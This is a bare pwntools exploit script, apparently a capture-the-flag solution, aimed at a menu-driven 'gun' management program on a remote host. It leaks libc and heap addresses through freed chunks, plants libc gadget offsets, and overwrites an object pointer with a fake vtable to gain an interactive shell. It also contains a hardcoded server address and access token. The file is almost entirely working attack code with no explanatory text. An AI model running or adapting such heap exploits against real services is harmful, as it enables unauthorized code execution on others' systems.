from pwn import *
context.log_level = 'info'
def New(p, type, length, name):
p.recvuntil('7. Exit\n')
p.send('1\n')
p.recvuntil('2. QBZ95\n')
p.send(str(type) + '\n')
p.recvuntil('\n')
p.send(str(length) + '\n')
p.recvuntil('Input name:\n')
p.send(name)
p.recvuntil('7. Exit\n')
p.send('8\n')
def Drop(p, idx):
p.recvuntil('7. Exit\n')
p.send('6\n')
p.recvuntil('Choose a gun to delete:\n')
p.send(str(idx) + '\n')
p.recvuntil('7. Exit\n')
p.send('8\n')
def Rename(p, idx, length, name):
p.recvuntil('7. Exit\n')
p.send('4\n')
p.recvuntil('Choose a gun to rename:\n')
p.send(str(idx) + '\n')
p.recvuntil('\n')
p.send(str(length) + '\n')
p.recvuntil('Input name:\n')
p.send(name)
p.recvuntil('7. Exit\n')
p.send('8\n')
p = remote('202.112.51.247', 3456)
REMOTE = True
if REMOTE:
p.recvuntil('Token:')
p.send('yrkm0XEl56HqNPp8LrHuV0CRbvfW4aoT\n')
New(p, 1, 0x7f, 'A' * 0x80)
New(p, 1, 0x7f, 'B' * 0x80)
New(p, 1, 0x7f, 'C' * 0x80)
Drop(p, 0)
Drop(p, 1)
p.recvuntil('7. Exit\n')
p.send('5\n')
p.recvuntil('Select gun ')
main_arena = u32(p.recvn(4))
libc_base = main_arena - 0x1b27b0
log.info("libc base: " + hex(libc_base))
heap_addr = u32(p.recvn(4))
log.info("heap addr: " + hex(heap_addr))
p.recvuntil('4. Main menu')
p.send('4\n')
Drop(p, 2)
payload = ''
payload += p32(0xdeadbeef) * 2
payload += p32(libc_base + 0x3ac69)
payload += p32(libc_base + 0x5fbc5)
payload += p32(libc_base + 0x5fbc6)
New(p, 1, 0x7f, payload + '\n')
New(p, 1, 0x1f, 'B' * 0x20)
fake_vtable = heap_addr - 0xa8
Drop(p, 0)
Rename(p, 1, 0x0f, p32(fake_vtable) + '\n')
p.interactive()